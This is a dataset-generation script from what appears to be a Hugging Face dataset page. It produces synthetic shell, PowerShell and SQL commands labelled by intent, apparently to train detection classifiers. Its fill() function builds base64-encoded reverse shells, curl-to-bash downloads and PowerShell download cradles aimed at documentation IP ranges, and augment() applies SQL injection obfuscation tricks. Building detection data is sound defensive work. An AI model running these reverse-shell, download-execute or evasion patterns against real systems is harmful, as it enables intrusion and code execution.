Datasets:
Tasks:
Text Classification
Modalities:
Text
Formats:
json
Languages:
English
Size:
10K - 100K
License:
Download src/generate_dataset.py from DaveyD347/script-intent-commands: direct link, hf CLI and curl.
- Browser
- Download file 9.96 kB
-
https://huggingface.co/datasets/DaveyD347/script-intent-commands/resolve/main/src/generate_dataset.py
- Command line
-
hf download hf://datasets/DaveyD347/script-intent-commands/src/generate_dataset.py
-
curl -L -o generate_dataset.py https://huggingface.co/datasets/DaveyD347/script-intent-commands/resolve/main/src/generate_dataset.py
9.96 kB
| """Generate the synthetic script-intent dataset. | |
| Usage: python src/generate_dataset.py --out data --per-class 2000 --seed 42 | |
| Splits are *template-disjoint*: every template is assigned to exactly one of | |
| train / validation / test, so test scores measure generalization to command | |
| patterns the model never saw, not memorization of slot fillers. | |
| """ | |
| import argparse | |
| import base64 | |
| import json | |
| import os | |
| import random | |
| import string | |
| import sys | |
| sys.path.insert(0, os.path.dirname(__file__)) | |
| from templates import LABELS, TEMPLATES # noqa: E402 | |
| DOC_NETS = ["192.0.2", "198.51.100", "203.0.113"] # RFC 5737, non-routable | |
| WORDS = ["alpha", "deploy", "invoice", "report", "metrics", "nightly", "backup", "staging", | |
| "update", "sync", "cache", "audit", "billing", "inventory", "portal", "helpdesk"] | |
| USERS = ["alice", "bob", "carol", "dave", "erin", "frank", "svc_backup", "deploy", "jenkins", | |
| "admin", "ubuntu", "ec2-user", "postgres", "www-data", "jsmith", "mgarcia"] | |
| SVCS = ["nginx", "apache2", "postgresql", "redis", "docker", "sshd", "api", "worker", | |
| "web", "grafana", "prometheus", "mysql", "rabbitmq", "kafka"] | |
| SVC2 = ["WindowsUpdateSvc", "SystemHealth", "OneDriveSync", "dbus-helper", "kworkerd", | |
| "GoogleUpdateTaskMachine", "MicrosoftEdgeUpdate", "netlogond", "sysupdate", "AdobeARM"] | |
| PKGS = ["htop", "jq", "curl", "build-essential", "python3-pip", "nginx", "git", "tmux", "unzip"] | |
| PSMODS = ["Az", "PSWindowsUpdate", "Pester", "ImportExcel", "PSReadLine", "dbatools"] | |
| TABLES = ["users", "orders", "customers", "invoices", "products", "sessions", "events", "accounts"] | |
| COLS = ["email", "status", "created_at", "region", "sku", "user_id", "total"] | |
| PATHS = ["/var/www/app", "/opt/app", "/home/{u}/projects/api", "/srv/data", "/etc/nginx", | |
| "~/code/site", "/var/log/app", "/data/exports"] | |
| WINPATHS = ["C:\\Users\\{u}\\Documents", "C:\\inetpub\\wwwroot", "D:\\Backups", "C:\\Logs", | |
| "C:\\ProgramData\\App", "$env:USERPROFILE\\Desktop"] | |
| ADDOMAINS = ["corp.example", "contoso.test", "ad.example.org", "internal.test"] | |
| DOMAINS = ["example.com", "example.org", "example.net", "acme.test", "contoso.test", "service.example"] | |
| FILES = ["update", "svc", "payload", "x", "agent", "a", "run", "health", "tmp", "install", | |
| "lib", "kdev", "sys", "data", "out", "loader", "stage2", "conf"] | |
| BRANCHES = ["main", "master", "develop", "release/1.4"] | |
| MSGS = ["fix typo", "bump deps", "add healthcheck", "refactor auth", "update readme"] | |
| IFACES = ["eth0", "ens5", "wlan0", "lo", "docker0"] | |
| ROLES = ["ec2-default", "app-role", "web-instance"] | |
| EXTS = ["conf", "php", "yml", "env", "ini", "xml", "json"] | |
| def rip(): | |
| return f"{random.choice(DOC_NETS)}.{random.randint(1, 254)}" | |
| def rand_b64(text, utf16=False): | |
| raw = text.encode("utf-16-le" if utf16 else "utf-8") | |
| return base64.b64encode(raw).decode() | |
| def fill(tpl): | |
| u = random.choice(USERS) | |
| ip = rip() | |
| port = random.choice([4444, 443, 8080, 9001, 1337, 53, 8443, 5555, 80, random.randint(1024, 65535)]) | |
| v = { | |
| "ip": ip, | |
| "port": port, | |
| "port2": random.choice([80, 8000, 8080, 443, random.randint(1024, 65535)]), | |
| "subnet": f"{random.choice(DOC_NETS)}.0/24", | |
| "prefix": random.choice(DOC_NETS), | |
| "rate": random.choice([1000, 5000, 10000]), | |
| "domain": random.choice(DOMAINS), | |
| "domain2": f"cdn-{random.choice(WORDS)}.{random.choice(DOMAINS)}", | |
| "addomain": random.choice(ADDOMAINS), | |
| "user": u, | |
| "user2": random.choice(["support", "sysadm", "backup2", "helpdesk$", "svc_mon", "toor"]), | |
| "pw": random.choice(["P@ssw0rd!", "Winter2024!", "Changeme123", "Summer#99", "Passw0rd1"]), | |
| "host": f"{random.choice(['web', 'db', 'app', 'build', 'files'])}{random.randint(1, 20)}.{random.choice(DOMAINS)}", | |
| "path": random.choice(PATHS).format(u=u), | |
| "winpath": random.choice(WINPATHS).format(u=u), | |
| "file": random.choice(FILES) + random.choice(["", str(random.randint(1, 99))]), | |
| "svc": random.choice(SVCS), | |
| "svc2": random.choice(SVC2), | |
| "pkg": random.choice(PKGS), | |
| "psmod": random.choice(PSMODS), | |
| "ns": random.choice(["default", "prod", "staging", "monitoring"]), | |
| "branch": random.choice(BRANCHES), | |
| "msg": random.choice(MSGS), | |
| "word": random.choice(WORDS), | |
| "n": random.randint(1, 50), | |
| "n2": random.randint(1, 20), | |
| "min": random.choice([1, 5, 10, 15, 30]), | |
| "sec": random.choice([5, 10, 15]), | |
| "code": random.choice([404, 500, 502, 403]), | |
| "ver": f"{random.randint(0, 5)}.{random.randint(0, 20)}.{random.randint(0, 9)}", | |
| "date": f"2024-{random.randint(1, 12):02d}-{random.randint(1, 28):02d}", | |
| "table": random.choice(TABLES), | |
| "col": random.choice(COLS), | |
| "bucket": f"{random.choice(WORDS)}-{random.choice(['prod', 'dev'])}-bucket", | |
| "iface": random.choice(IFACES), | |
| "role": random.choice(ROLES), | |
| "ext": random.choice(EXTS), | |
| "nulls": "NULL," * random.randint(0, 4), | |
| "sshkey": "AAAA" + "".join(random.choices(string.ascii_letters + string.digits + "+/", k=random.randint(40, 68))), | |
| } | |
| v["b64revshell"] = rand_b64(f"bash -i >& /dev/tcp/{ip}/{port} 0>&1") | |
| v["b64dl"] = rand_b64(f"curl -s http://{ip}/{v['file']}.sh | bash") | |
| v["b64ps"] = rand_b64(random.choice([ | |
| f"IEX(New-Object Net.WebClient).DownloadString('http://{ip}/{v['file']}.ps1')", | |
| f"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});$s=$c.GetStream()", | |
| ]), utf16=True) | |
| v["b64benign"] = rand_b64(random.choice([ | |
| "Get-Service | Where-Object Status -eq 'Running'", | |
| f"Get-ChildItem C:\\Logs -Filter *.log | Measure-Object", | |
| "Get-WmiObject Win32_OperatingSystem | Select-Object Caption, Version", | |
| f"Restart-Service -Name {v['svc']} -Force", | |
| ]), utf16=True) | |
| return tpl.format(**v) | |
| BIN_PREFIX = {"nc ": "/usr/bin/nc ", "bash ": "/bin/bash ", "curl ": "/usr/bin/curl ", | |
| "wget ": "/usr/bin/wget ", "python3 ": "/usr/bin/python3 "} | |
| SQLI_PREFIX = ["", "", "1", "admin", "test", "x", "%", "abc", "0", "-1"] | |
| SQLI_SUFFIX = ["", "", " -- ", "#", "/*", ";%00", " -- -"] | |
| def augment(text, lang, label=None): | |
| """Light, label-preserving surface variation.""" | |
| if label == "sql_injection" and lang == "sql": | |
| if random.random() < 0.6: | |
| text = random.choice(SQLI_PREFIX) + text + random.choice(SQLI_SUFFIX) | |
| if random.random() < 0.3: | |
| text = "".join(c.swapcase() if c.isalpha() and random.random() < 0.3 else c for c in text) | |
| if random.random() < 0.2: | |
| text = text.replace(" ", random.choice(["/**/", "+", "%20"])) | |
| return text | |
| r = random.random() | |
| if lang in ("powershell", "cmd") and r < 0.15: | |
| text = "".join(c.upper() if random.random() < 0.3 else c for c in text) # random casing | |
| elif lang == "bash" and r < 0.15: | |
| for k, val in BIN_PREFIX.items(): | |
| if text.startswith(k): | |
| text = val + text[len(k):] | |
| break | |
| elif lang == "bash" and r < 0.25 and not text.startswith("sudo"): | |
| text = "sudo " + text | |
| elif lang == "cmd" and r < 0.30: | |
| text = f"cmd.exe /c \"{text}\"" | |
| elif lang == "powershell" and r < 0.30 and not text.lower().startswith("powershell"): | |
| text = f"powershell.exe -Command \"{text}\"" | |
| if random.random() < 0.1: | |
| text = text.replace(" ", " ", 1) | |
| return text | |
| def split_templates(templates, rng): | |
| """Assign templates to splits: ~70% train, ~10% val, ~20% test (per class).""" | |
| idx = list(range(len(templates))) | |
| rng.shuffle(idx) | |
| n = len(idx) | |
| n_test = max(2, round(n * 0.2)) | |
| n_val = max(1, round(n * 0.1)) | |
| return {"test": idx[:n_test], "validation": idx[n_test:n_test + n_val], "train": idx[n_test + n_val:]} | |
| def main(): | |
| ap = argparse.ArgumentParser() | |
| ap.add_argument("--out", default="data") | |
| ap.add_argument("--per-class", type=int, default=2000, help="total samples per class across splits") | |
| ap.add_argument("--seed", type=int, default=42) | |
| args = ap.parse_args() | |
| random.seed(args.seed) | |
| rng = random.Random(args.seed) | |
| os.makedirs(args.out, exist_ok=True) | |
| rows = {"train": [], "validation": [], "test": []} | |
| split_frac = {"train": 0.7, "validation": 0.1, "test": 0.2} | |
| for label, templates in TEMPLATES.items(): | |
| assign = split_templates(templates, rng) | |
| for split, ids in assign.items(): | |
| target = int(args.per_class * split_frac[split]) | |
| seen = set() | |
| attempts = 0 | |
| while len([r for r in rows[split] if r["label"] == label]) < target and attempts < target * 20: | |
| attempts += 1 | |
| t_idx = ids[attempts % len(ids)] | |
| lang, tech, tpl = templates[t_idx] | |
| text = augment(fill(tpl), lang, label) | |
| if text in seen: | |
| continue | |
| seen.add(text) | |
| rows[split].append({ | |
| "text": text, | |
| "label": label, | |
| "label_id": LABELS.index(label), | |
| "language": lang, | |
| "mitre_technique": tech or None, | |
| "template_id": f"{label}-{t_idx:03d}", | |
| }) | |
| # Cross-split exact-duplicate guard | |
| train_texts = {r["text"] for r in rows["train"]} | |
| for s in ("validation", "test"): | |
| rows[s] = [r for r in rows[s] if r["text"] not in train_texts] | |
| for split, rs in rows.items(): | |
| random.shuffle(rs) | |
| with open(os.path.join(args.out, f"{split}.jsonl"), "w") as f: | |
| for r in rs: | |
| f.write(json.dumps(r) + "\n") | |
| counts = {l: sum(r["label"] == l for r in rs) for l in LABELS} | |
| print(split, len(rs), counts) | |
| print("templates per class:", {k: len(v) for k, v in TEMPLATES.items()}) | |
| if __name__ == "__main__": | |
| main() | |